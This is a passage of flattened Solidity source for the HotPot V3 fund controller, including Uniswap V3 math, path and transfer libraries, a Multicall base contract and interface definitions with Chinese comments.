/// @dev The minimum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MIN_TICK)
uint160 internal constant MIN_SQRT_RATIO = 4295128739;
/// @dev The maximum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MAX_TICK)
uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342;
/// @notice Calculates sqrt(1.0001^tick) * 2^96
/// @dev Throws if |tick| > max tick
/// @param tick The input tick for the above formula
/// @return sqrtPriceX96 A Fixed point Q64.96 number representing the sqrt of the ratio of the two assets (token1/token0)
/// at the given tick
function getSqrtRatioAtTick(int24 tick) internal pure returns (uint160 sqrtPriceX96) {
uint256 absTick = tick < 0 ? uint256(-int256(tick)) : uint256(int256(tick));
require(absTick <= uint256(MAX_TICK), 'T');
uint256 ratio = absTick & 0x1 != 0 ? 0xfffcb933bd6fad37aa2d162d1a594001 : 0x100000000000000000000000000000000;
if (absTick & 0x2 != 0) ratio = (ratio * 0xfff97272373d413259a46990580e213a) >> 128;
if (absTick & 0x4 != 0) ratio = (ratio * 0xfff2e50f5f656932ef12357cf3c7fdcc) >> 128;
if (absTick & 0x8 != 0) ratio = (ratio * 0xffe5caca7e10e4e61c3624eaa0941cd0) >> 128;
if (absTick & 0x10 != 0) ratio = (ratio * 0xffcb9843d60f6159c9db58835c926644) >> 128;
if (absTick & 0x20 != 0) ratio = (ratio * 0xff973b41fa98c081472e6896dfb254c0) >> 128;
if (absTick & 0x40 != 0) ratio = (ratio * 0xff2ea16466c96a3843ec78b326b52861) >> 128;
if (absTick & 0x80 != 0) ratio = (ratio * 0xfe5dee046a99a2a811c461f1969c3053) >> 128;
if (absTick & 0x100 != 0) ratio = (ratio * 0xfcbe86c7900a88aedcffc83b479aa3a4) >> 128;
if (absTick & 0x200 != 0) ratio = (ratio * 0xf987a7253ac413176f2b074cf7815e54) >> 128;
if (absTick & 0x400 != 0) ratio = (ratio * 0xf3392b0822b70005940c7a398e4b70f3) >> 128;
if (absTick & 0x800 != 0) ratio = (ratio * 0xe7159475a2c29b7443b29c7fa6e889d9) >> 128;
if (absTick & 0x1000 != 0) ratio = (ratio * 0xd097f3bdfd2022b8845ad8f792aa5825) >> 128;
if (absTick & 0x2000 != 0) ratio = (ratio * 0xa9f746462d870fdf8a65dc1f90e061e5) >> 128;
if (absTick & 0x4000 != 0) ratio = (ratio * 0x70d869a156d2a1b890bb3df62baf32f7) >> 128;
if (absTick & 0x8000 != 0) ratio = (ratio * 0x31be135f97d08fd981231505542fcfa6) >> 128;
if (absTick & 0x10000 != 0) ratio = (ratio * 0x9aa508b5b7a84e1c677de54f3e99bc9) >> 128;
if (absTick & 0x20000 != 0) ratio = (ratio * 0x5d6af8dedb81196699c329225ee604) >> 128;
if (absTick & 0x40000 != 0) ratio = (ratio * 0x2216e584f5fa1ea926041bedfe98) >> 128;
if (absTick & 0x80000 != 0) ratio = (ratio * 0x48a170391f7dc42444e8fa2) >> 128;
if (tick > 0) ratio = type(uint256).max / ratio;
// this divides by 1<<32 rounding up to go from a Q128.128 to a Q128.96.
// we then downcast because we know the result always fits within 160 bits due to our tick input constraint
// we round up in the division so getTickAtSqrtRatio of the output price is always consistent
sqrtPriceX96 = uint160((ratio >> 32) + (ratio % (1 << 32) == 0 ? 0 : 1));
}
/// @notice Calculates the greatest tick value such that getRatioAtTick(tick) <= ratio
/// @dev Throws in case sqrtPriceX96 < MIN_SQRT_RATIO, as MIN_SQRT_RATIO is the lowest value getRatioAtTick may
/// ever return.
/// @param sqrtPriceX96 The sqrt ratio for which to compute the tick as a Q64.96
/// @return tick The greatest tick for which the ratio is less than or equal to the input ratio
function getTickAtSqrtRatio(uint160 sqrtPriceX96) internal pure returns (int24 tick) {
// second inequality must be < because the price can never reach the price at the max tick
require(sqrtPriceX96 >= MIN_SQRT_RATIO && sqrtPriceX96 < MAX_SQRT_RATIO, 'R');
uint256 ratio = uint256(sqrtPriceX96) << 32;
uint256 r = ratio;
uint256 msb = 0;
assembly {
let f := shl(7, gt(r, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(6, gt(r, 0xFFFFFFFFFFFFFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(5, gt(r, 0xFFFFFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(4, gt(r, 0xFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(3, gt(r, 0xFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(2, gt(r, 0xF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(1, gt(r, 0x3))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := gt(r, 0x1)
msb := or(msb, f)
}
if (msb >= 128) r = ratio >> (msb - 127);
else r = ratio << (127 - msb);
int256 log_2 = (int256(msb) - 128) << 64;
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(63, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(62, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(61, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(60, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(59, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(58, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(57, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(56, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(55, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(54, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(53, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(52, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(51, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(50, f))
}
int256 log_sqrt10001 = log_2 * 255738958999603826347141; // 128.128 number
int24 tickLow = int24((log_sqrt10001 - 3402992956809132418596140100660247210) >> 128);
int24 tickHi = int24((log_sqrt10001 + 291339464771989622907027621153398088495) >> 128);
tick = tickLow == tickHi ? tickLow : getSqrtRatioAtTick(tickHi) <= sqrtPriceX96 ? tickHi : tickLow;
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.7.5;
pragma abicoder v2;
import '@uniswap/v3-core/contracts/interfaces/callback/IUniswapV3SwapCallback.sol';
/// @title Router token swapping functionality
/// @notice Functions for swapping tokens via Uniswap V3
interface ISwapRouter is IUniswapV3SwapCallback {
struct ExactInputSingleParams {
address tokenIn;
address tokenOut;
uint24 fee;
address recipient;
uint256 deadline;
uint256 amountIn;
uint256 amountOutMinimum;
uint160 sqrtPriceLimitX96;
}
/// @notice Swaps `amountIn` of one token for as much as possible of another token
/// @param params The parameters necessary for the swap, encoded as `ExactInputSingleParams` in calldata
/// @return amountOut The amount of the received token
function exactInputSingle(ExactInputSingleParams calldata params) external payable returns (uint256 amountOut);
struct ExactInputParams {
bytes path;
address recipient;
uint256 deadline;
uint256 amountIn;
uint256 amountOutMinimum;
}
/// @notice Swaps `amountIn` of one token for as much as possible of another along the specified path
/// @param params The parameters necessary for the multi-hop swap, encoded as `ExactInputParams` in calldata
/// @return amountOut The amount of the received token
function exactInput(ExactInputParams calldata params) external payable returns (uint256 amountOut);
struct ExactOutputSingleParams {
address tokenIn;
address tokenOut;
uint24 fee;
address recipient;
uint256 deadline;
uint256 amountOut;
uint256 amountInMaximum;
uint160 sqrtPriceLimitX96;
}
/// @notice Swaps as little as possible of one token for `amountOut` of another token
/// @param params The parameters necessary for the swap, encoded as `ExactOutputSingleParams` in calldata
/// @return amountIn The amount of the input token
function exactOutputSingle(ExactOutputSingleParams calldata params) external payable returns (uint256 amountIn);
struct ExactOutputParams {
bytes path;
address recipient;
uint256 deadline;
uint256 amountOut;
uint256 amountInMaximum;
}
/// @notice Swaps as little as possible of one token for `amountOut` of another along the specified path (reversed)
/// @param params The parameters necessary for the multi-hop swap, encoded as `ExactOutputParams` in calldata
/// @return amountIn The amount of the input token
function exactOutput(ExactOutputParams calldata params) external payable returns (uint256 amountIn);
}
// SPDX-License-Identifier: GPL-2.0-or-later
/*
* @title Solidity Bytes Arrays Utils
* @author Gonçalo Sá <[email protected]>
*
* @dev Bytes tightly packed arrays utility library for ethereum contracts written in Solidity.
* The library lets you concatenate, slice and type cast bytes arrays both in memory and storage.
*/
pragma solidity >=0.5.0 <0.8.0;
library BytesLib {
function slice(
bytes memory _bytes,
uint256 _start,
uint256 _length
) internal pure returns (bytes memory) {
require(_length + 31 >= _length, 'slice_overflow');
require(_start + _length >= _start, 'slice_overflow');
require(_bytes.length >= _start + _length, 'slice_outOfBounds');
bytes memory tempBytes;
assembly {
switch iszero(_length)
case 0 {
// Get a location of some free memory and store it in tempBytes as
// Solidity does for memory variables.
tempBytes := mload(0x40)
// The first word of the slice result is potentially a partial
// word read from the original array. To read it, we calculate
// the length of that partial word and start copying that many
// bytes into the array. The first word we copy will start with
// data we don't care about, but the last `lengthmod` bytes will
// land at the beginning of the contents of the new array. When
// we're done copying, we overwrite the full first word with
// the actual length of the slice.
let lengthmod := and(_length, 31)
// The multiplication in the next line is necessary
// because when slicing multiples of 32 bytes (lengthmod == 0)
// the following copy loop was copying the origin's length
// and then ending prematurely not copying everything it should.
let mc := add(add(tempBytes, lengthmod), mul(0x20, iszero(lengthmod)))
let end := add(mc, _length)
for {
// The multiplication in the next line has the same exact purpose
// as the one above.
let cc := add(add(add(_bytes, lengthmod), mul(0x20, iszero(lengthmod))), _start)
} lt(mc, end) {
mc := add(mc, 0x20)
cc := add(cc, 0x20)
} {
mstore(mc, mload(cc))
}
mstore(tempBytes, _length)
//update free-memory pointer
//allocating the array padded to 32 bytes like the compiler does now
mstore(0x40, and(add(mc, 31), not(31)))
}
//if we want a zero-length slice let's just return a zero-length array
default {
tempBytes := mload(0x40)
//zero out the 32 bytes slice we are about to return
//we need to do it because Solidity does not garbage collect
mstore(tempBytes, 0)
mstore(0x40, add(tempBytes, 0x20))
}
}
return tempBytes;
}
function toAddress(bytes memory _bytes, uint256 _start) internal pure returns (address) {
require(_start + 20 >= _start, 'toAddress_overflow');
require(_bytes.length >= _start + 20, 'toAddress_outOfBounds');
address tempAddress;
assembly {
tempAddress := div(mload(add(add(_bytes, 0x20), _start)), 0x1000000000000000000000000)
}
return tempAddress;
}
function toUint24(bytes memory _bytes, uint256 _start) internal pure returns (uint24) {
require(_start + 3 >= _start, 'toUint24_overflow');
require(_bytes.length >= _start + 3, 'toUint24_outOfBounds');
uint24 tempUint;
assembly {
tempUint := mload(add(add(_bytes, 0x3), _start))
}
return tempUint;
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.6.0;
import './BytesLib.sol';
/// @title Functions for manipulating path data for multihop swaps
library Path {
using BytesLib for bytes;
/// @dev The length of the bytes encoded address
uint256 private constant ADDR_SIZE = 20;
/// @dev The length of the bytes encoded fee
uint256 private constant FEE_SIZE = 3;
/// @dev The offset of a single token address and pool fee
uint256 private constant NEXT_OFFSET = ADDR_SIZE + FEE_SIZE;
/// @dev The offset of an encoded pool key
uint256 private constant POP_OFFSET = NEXT_OFFSET + ADDR_SIZE;
/// @dev The minimum length of an encoding that contains 2 or more pools
uint256 private constant MULTIPLE_POOLS_MIN_LENGTH = POP_OFFSET + NEXT_OFFSET;
/// @notice Returns true iff the path contains two or more pools
/// @param path The encoded swap path
/// @return True if path contains two or more pools, otherwise false
function hasMultiplePools(bytes memory path) internal pure returns (bool) {
return path.length >= MULTIPLE_POOLS_MIN_LENGTH;
}
/// @notice Decodes the first pool in path
/// @param path The bytes encoded swap path
/// @return tokenA The first token of the given pool
/// @return tokenB The second token of the given pool
/// @return fee The fee level of the pool
function decodeFirstPool(bytes memory path)
internal
pure
returns (
address tokenA,
address tokenB,
uint24 fee
)
{
tokenA = path.toAddress(0);
fee = path.toUint24(ADDR_SIZE);
tokenB = path.toAddress(NEXT_OFFSET);
}
/// @notice Gets the segment corresponding to the first pool in the path
/// @param path The bytes encoded swap path
/// @return The segment containing all data necessary to target the first pool in the path
function getFirstPool(bytes memory path) internal pure returns (bytes memory) {
return path.slice(0, POP_OFFSET);
}
/// @notice Skips a token + fee element from the buffer and returns the remainder
/// @param path The swap path
/// @return The remaining token + fee elements in the path
function skipToken(bytes memory path) internal pure returns (bytes memory) {
return path.slice(NEXT_OFFSET, path.length - NEXT_OFFSET);
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Provides functions for deriving a pool address from the factory, tokens, and the fee
library PoolAddress {
bytes32 internal constant POOL_INIT_CODE_HASH = 0xe34f199b19b2b4f47f68442619d555527d244f78a3297ea89325f843f87b8b54;
/// @notice The identifying key of the pool
struct PoolKey {
address token0;
address token1;
uint24 fee;
}
/// @notice Returns PoolKey: the ordered tokens with the matched fee levels
/// @param tokenA The first token of a pool, unsorted
/// @param tokenB The second token of a pool, unsorted
/// @param fee The fee level of the pool
/// @return Poolkey The pool details with ordered token0 and token1 assignments
function getPoolKey(
address tokenA,
address tokenB,
uint24 fee
) internal pure returns (PoolKey memory) {
if (tokenA > tokenB) (tokenA, tokenB) = (tokenB, tokenA);
return PoolKey({token0: tokenA, token1: tokenB, fee: fee});
}
/// @notice Deterministically computes the pool address given the factory and PoolKey
/// @param factory The Uniswap V3 factory contract address
/// @param key The PoolKey
/// @return pool The contract address of the V3 pool
function computeAddress(address factory, PoolKey memory key) internal pure returns (address pool) {
require(key.token0 < key.token1);
pool = address(
uint256(
keccak256(
abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encode(key.token0, key.token1, key.fee)),
POOL_INIT_CODE_HASH
)
)
)
);
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.6.0;
import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
library TransferHelper {
/// @notice Transfers tokens from the targeted address to the given destination
/// @notice Errors with 'STF' if transfer fails
/// @param token The contract address of the token to be transferred
/// @param from The originating address from which the tokens will be transferred
/// @param to The destination address of the transfer
/// @param value The amount to be transferred
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
(bool success, bytes memory data) =
token.call(abi.encodeWithSelector(IERC20.transferFrom.selector, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'STF');
}
/// @notice Transfers tokens from msg.sender to a recipient
/// @dev Errors with ST if transfer fails
/// @param token The contract address of the token which will be transferred
/// @param to The recipient of the transfer
/// @param value The value of the transfer
function safeTransfer(
address token,
address to,
uint256 value
) internal {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(IERC20.transfer.selector, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'ST');
}
/// @notice Approves the stipulated contract to spend the given allowance in the given token
/// @dev Errors with 'SA' if transfer fails
/// @param token The contract address of the token to be approved
/// @param to The target of the approval
/// @param value The amount of the given token the target will be allowed to spend
function safeApprove(
address token,
address to,
uint256 value
) internal {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(IERC20.approve.selector, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'SA');
}
/// @notice Transfers ETH to the recipient address
/// @dev Fails with `STE`
/// @param to The destination of the transfer
/// @param value The value to be transferred
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'STE');
}
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity =0.7.6;
pragma abicoder v2;
import '@uniswap/v3-core/contracts/interfaces/IUniswapV3Factory.sol';
import '@uniswap/v3-periphery/contracts/interfaces/ISwapRouter.sol';
import '@uniswap/v3-periphery/contracts/libraries/TransferHelper.sol';
import './libraries/PathPrice.sol';
import './interfaces/IHotPotV3Fund.sol';
import './interfaces/IHotPot.sol';
import './interfaces/IHotPotV3FundController.sol';
import './base/Multicall.sol';
contract HotPotV3FundController is IHotPotV3FundController, Multicall {
using Path for bytes;
address public override immutable uniV3Factory;
address public override immutable uniV3Router;
address public override immutable hotpot;
address public override governance;
address public override immutable WETH9;
uint32 maxPIS = (100 << 16) + 9974;// MaxPriceImpact: 1%, MaxSwapSlippage: 0.5% = (1 - (sqrtSlippage/1e4)^2) * 100%
mapping (address => bool) public override verifiedToken;
mapping (address => bytes) public override harvestPath;
modifier onlyManager(address fund){
require(msg.sender == IHotPotV3Fund(fund).manager(), "OMC");
_;
}
modifier onlyGovernance{
require(msg.sender == governance, "OGC");
_;
}
modifier checkDeadline(uint deadline) {
require(block.timestamp <= deadline, 'CDL');
_;
}
constructor(
address _hotpot,
address _governance,
address _uniV3Router,
address _uniV3Factory,
address _weth9
) {
hotpot = _hotpot;
governance = _governance;
uniV3Router = _uniV3Router;
uniV3Factory = _uniV3Factory;
WETH9 = _weth9;
}
/// @inheritdoc IControllerState
function maxPriceImpact() external override view returns(uint32 priceImpact){
return maxPIS >> 16;
}
/// @inheritdoc IControllerState
function maxSqrtSlippage() external override view returns(uint32 sqrtSlippage){
return maxPIS & 0xffff;
}
/// @inheritdoc IGovernanceActions
function setHarvestPath(address token, bytes calldata path) external override onlyGovernance {
bytes memory _path = path;
while (true) {
(address tokenIn, address tokenOut, uint24 fee) = _path.decodeFirstPool();
// pool is exist
address pool = IUniswapV3Factory(uniV3Factory).getPool(tokenIn, tokenOut, fee);
require(pool != address(0), "PIE");
// at least 2 observations
(,,,uint16 observationCardinality,,,) = IUniswapV3Pool(pool).slot0();
require(observationCardinality >= 2, "OC");
if (_path.hasMultiplePools()) {
_path = _path.skipToken();
} else {
//最后一个交易对:输入WETH9, 输出hotpot
require(tokenIn == WETH9 && tokenOut == hotpot, "IOT");
break;
}
}
harvestPath[token] = path;
emit SetHarvestPath(token, path);
}
/// @inheritdoc IGovernanceActions
function setMaxPriceImpact(uint32 priceImpact) external override onlyGovernance {
require(priceImpact <= 1e4 ,"SPI");
maxPIS = (priceImpact << 16) | (maxPIS & 0xffff);
emit SetMaxPriceImpact(priceImpact);
}
/// @inheritdoc IGovernanceActions
function setMaxSqrtSlippage(uint32 sqrtSlippage) external override onlyGovernance {
require(sqrtSlippage <= 1e4 ,"SSS");
maxPIS = maxPIS & 0xffff0000 | sqrtSlippage;
emit SetMaxSqrtSlippage(sqrtSlippage);
}
/// @inheritdoc IHotPotV3FundController
function harvest(address token, uint amount) external override returns(uint burned) {
bytes memory path = harvestPath[token];
PathPrice.verifySlippage(path, uniV3Factory, maxPIS & 0xffff);
uint value = amount <= IERC20(token).balanceOf(address(this)) ? amount : IERC20(token).balanceOf(address(this));
TransferHelper.safeApprove(token, uniV3Router, value);
ISwapRouter.ExactInputParams memory args = ISwapRouter.ExactInputParams({
path: path,
recipient: address(this),
deadline: block.timestamp,
amountIn: value,
amountOutMinimum: 0
});
burned = ISwapRouter(uniV3Router).exactInput(args);
IHotPot(hotpot).burn(burned);
emit Harvest(token, amount, burned);
}
/// @inheritdoc IGovernanceActions
function setGovernance(address account) external override onlyGovernance {
require(account != address(0));
governance = account;
emit SetGovernance(account);
}
/// @inheritdoc IGovernanceActions
function setVerifiedToken(address token, bool isVerified) external override onlyGovernance {
verifiedToken[token] = isVerified;
emit ChangeVerifiedToken(token, isVerified);
}
/// @inheritdoc IManagerActions
function setDescriptor(address fund, bytes calldata _descriptor) external override onlyManager(fund) {
return IHotPotV3Fund(fund).setDescriptor(_descriptor);
}
/// @inheritdoc IManagerActions
function setDepositDeadline(address fund, uint deadline) external override onlyManager(fund) {
return IHotPotV3Fund(fund).setDepositDeadline(deadline);
}
/// @inheritdoc IManagerActions
function setPath(
address fund,
address distToken,
bytes memory path
) external override onlyManager(fund){
require(verifiedToken[distToken]);
address fundToken = IHotPotV3Fund(fund).token();
bytes memory _path = path;
bytes memory _reverse;
(address tokenIn, address tokenOut, uint24 fee) = path.decodeFirstPool();
_reverse = abi.encodePacked(tokenOut, fee, tokenIn);
bool isBuy;
// 第一个tokenIn是基金token,那么就是buy路径
if(tokenIn == fundToken){
isBuy = true;
}
// 如果是sellPath, 第一个需要是目标代币
else{
require(tokenIn == distToken);
}
while (true) {
require(verifiedToken[tokenIn], "VIT");
require(verifiedToken[tokenOut], "VOT");
// pool is exist
address pool = IUniswapV3Factory(uniV3Factory).getPool(tokenIn, tokenOut, fee);
require(pool != address(0), "PIE");
// at least 2 observations
(,,,uint16 observationCardinality,,,) = IUniswapV3Pool(pool).slot0();
require(observationCardinality >= 2, "OC");
if (path.hasMultiplePools()) {
path = path.skipToken();
(tokenIn, tokenOut, fee) = path.decodeFirstPool();
_reverse = abi.encodePacked(tokenOut, fee, _reverse);
} else {
/// @dev 如果是buy, 最后一个token要是目标代币;
/// @dev 如果是sell, 最后一个token要是基金token.
if(isBuy)
require(tokenOut == distToken, "OID");
else
require(tokenOut == fundToken, "OIF");
break;
}
}
if(!isBuy) (_path, _reverse) = (_reverse, _path);
IHotPotV3Fund(fund).setPath(distToken, _path, _reverse);
}
/// @inheritdoc IManagerActions
function init(
address fund,
address token0,
address token1,
uint24 fee,
int24 tickLower,
int24 tickUpper,
uint amount,
uint deadline
) external override checkDeadline(deadline) onlyManager(fund) returns(uint128 liquidity){
return IHotPotV3Fund(fund).init(token0, token1, fee, tickLower, tickUpper, amount, maxPIS);
}
/// @inheritdoc IManagerActions
function add(
address fund,
uint poolIndex,
uint positionIndex,
uint amount,
bool collect,
uint deadline
) external override checkDeadline(deadline) onlyManager(fund) returns(uint128 liquidity){
return IHotPotV3Fund(fund).add(poolIndex, positionIndex, amount, collect, maxPIS);
}
/// @inheritdoc IManagerActions
function sub(
address fund,
uint poolIndex,
uint positionIndex,
uint proportionX128,
uint deadline
) external override checkDeadline(deadline) onlyManager(fund) returns(uint amount){
return IHotPotV3Fund(fund).sub(poolIndex, positionIndex, proportionX128, maxPIS);
}
/// @inheritdoc IManagerActions
function move(
address fund,
uint poolIndex,
uint subIndex,
uint addIndex,
uint proportionX128,
uint deadline
) external override checkDeadline(deadline) onlyManager(fund) returns(uint128 liquidity){
return IHotPotV3Fund(fund).move(poolIndex, subIndex, addIndex, proportionX128, maxPIS);
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity =0.7.6;
pragma abicoder v2;
import '../interfaces/IMulticall.sol';
/// @title Multicall
/// @notice Enables calling multiple methods in a single call to the contract
abstract contract Multicall is IMulticall {
/// @inheritdoc IMulticall
function multicall(bytes[] calldata data) external payable override returns (bytes[] memory results) {
results = new bytes[](data.length);
for (uint256 i = 0; i < data.length; i++) {
(bool success, bytes memory result) = address(this).delegatecall(data[i]);
if (!success) {
// Next 5 lines from https://ethereum.stackexchange.com/a/83577
if (result.length < 68) revert();
assembly {
result := add(result, 0x04)
}
revert(abi.decode(result, (string)));
}
results[i] = result;
}
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/// @title HPT (Hotpot Funds) 代币接口定义.
interface IHotPot is IERC20{
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function burn(uint value) external returns (bool) ;
function burnFrom(address from, uint value) external returns (bool);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
import './IHotPotV3FundERC20.sol';
import './fund/IHotPotV3FundEvents.sol';
import './fund/IHotPotV3FundState.sol';
import './fund/IHotPotV3FundUserActions.sol';
import './fund/IHotPotV3FundManagerActions.sol';
/// @title Hotpot V3 基金接口
/// @notice 接口定义分散在多个接口文件
interface IHotPotV3Fund is
IHotPotV3FundERC20,
IHotPotV3FundEvents,
IHotPotV3FundState,
IHotPotV3FundUserActions,
IHotPotV3FundManagerActions
{
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
import './controller/IManagerActions.sol';
import './controller/IGovernanceActions.sol';
import './controller/IControllerState.sol';
import './controller/IControllerEvents.sol';
/// @title Hotpot V3 控制合约接口定义.
/// @notice 基金经理和治理均需通过控制合约进行操作.
interface IHotPotV3FundController is IManagerActions, IGovernanceActions, IControllerState, IControllerEvents {
/// @notice 基金分成全部用于销毁HPT
/// @dev 任何人都可以调用本函数
/// @param token 用于销毁时购买HPT的代币类型
/// @param amount 代币数量
/// @return burned 销毁数量
function harvest(address token, uint amount) external returns(uint burned);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/// @title Hotpot V3 基金份额代币接口定义
interface IHotPotV3FundERC20 is IERC20{
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.7.5;
pragma abicoder v2;
/// @title Multicall
/// @notice Enables calling multiple methods in a single call to the contract
interface IMulticall {
/// @notice Call multiple functions in the current contract and return the data from all of them if they all succeed
/// @param data The encoded function data for each of the calls to make to this contract
/// @return results The results from each of the calls passed in via data
/// @dev The `msg.value` should not be trusted for any method callable from multicall.
function multicall(bytes[] calldata data) external payable returns (bytes[] memory results);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title HotPotV3Controller 事件接口定义
interface IControllerEvents {
/// @notice 当设置受信任token时触发
event ChangeVerifiedToken(address indexed token, bool isVerified);
/// @notice 当调用Harvest时触发
event Harvest(address indexed token, uint amount, uint burned);
/// @notice 当调用setHarvestPath时触发
event SetHarvestPath(address indexed token, bytes path);
/// @notice 当调用setGovernance时触发
event SetGovernance(address indexed account);
/// @notice 当调用setMaxSqrtSlippage时触发
event SetMaxSqrtSlippage(uint sqrtSlippage);
/// @notice 当调用setMaxPriceImpact时触发
event SetMaxPriceImpact(uint priceImpact);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title HotPotV3Controller 状态变量及只读函数
interface IControllerState {
/// @notice Returns the address of the Uniswap V3 router
function uniV3Router() external view returns (address);
/// @notice Returns the address of the Uniswap V3 facotry
function uniV3Factory() external view returns (address);
/// @notice 本项目治理代币HPT的地址
function hotpot() external view returns (address);
/// @notice 治理账户地址
function governance() external view returns (address);
/// @notice Returns the address of WETH9
function WETH9() external view returns (address);
/// @notice 代币是否受信任
/// @dev The call will revert if the the token argument is address 0.
/// @param token 要查询的代币地址
function verifiedToken(address token) external view returns (bool);
/// @notice harvest时交易路径
/// @param token 要兑换的代币
function harvestPath(address token) external view returns (bytes memory);
/// @notice 获取swap时最大滑点,取值范围为 0-1e4, 计算公式为:MaxSwapSlippage = (1 - (sqrtSlippage/1e4)^2) * 100%
/// 如设置最大滑点 0.5%, 则 sqrtSlippage 应设置为9974,此时 MaxSwapSlippage = (1-(9974/1e4)^2)*100% = 0.5%
function maxSqrtSlippage() external view returns (uint32);
/// @notice 获取swap时最大价格影响,取值范围为 0-1e4
function maxPriceImpact() external view returns (uint32);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title 治理操作接口定义
interface IGovernanceActions {
/// @notice Change governance
/// @dev This function can only be called by governance
/// @param account 新的governance地址
function setGovernance(address account) external;
/// @notice Set the token to be verified for all fund, vice versa
/// @dev This function can only be called by governance
/// @param token 目标代币
/// @param isVerified 是否受信任
function setVerifiedToken(address token, bool isVerified) external;
/// @notice Set the swap path for harvest
/// @dev This function can only be called by governance
/// @param token 目标代币
/// @param path 路径
function setHarvestPath(address token, bytes calldata path) external;
/// @notice 设置swap时最大滑点,取值范围为 0-1e4, 计算公式为:MaxSwapSlippage = (1 - (sqrtSlippage/1e4)^2) * 100%
/// 如设置最大滑点 0.5%, 则 sqrtSlippage 应设置为9974,此时 MaxSwapSlippage = (1-(9974/1e4)^2)*100% = 0.5%
/// @dev This function can only be called by governance
/// @param sqrtSlippage 0-1e4
function setMaxSqrtSlippage(uint32 sqrtSlippage) external;
/// @notice Set the max price impact for swap
/// @dev This function can only be called by governance
/// @param priceImpact 0-1e4
function setMaxPriceImpact(uint32 priceImpact) external;
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
import '../fund/IHotPotV3FundManagerActions.sol';
/// @title 控制器合约基金经理操作接口定义
interface IManagerActions {
/// @notice 设置基金描述信息
/// @dev This function can only be called by manager
/// @param _descriptor 描述信息
function setDescriptor(address fund, bytes calldata _descriptor) external;
/// @notice 设置基金存入截止时间
/// @dev This function can only be called by manager
/// @param fund 基金地址
/// @param deadline 最晚存入截止时间
function setDepositDeadline(address fund, uint deadline) external;
/// @notice 设置代币交易路径
/// @dev This function can only be called by manager
/// @dev 设置路径时不能修改为0地址,且path路径里的token必须验证是否受信任
/// @param fund 基金地址
/// @param distToken 目标代币地址
/// @param path 符合uniswap v3格式的交易路径
function setPath(
address fund,
address distToken,
bytes memory path
) external;
/// @notice 初始化头寸, 允许投资额为0.
/// @dev This function can only be called by manager
/// @param fund 基金地址
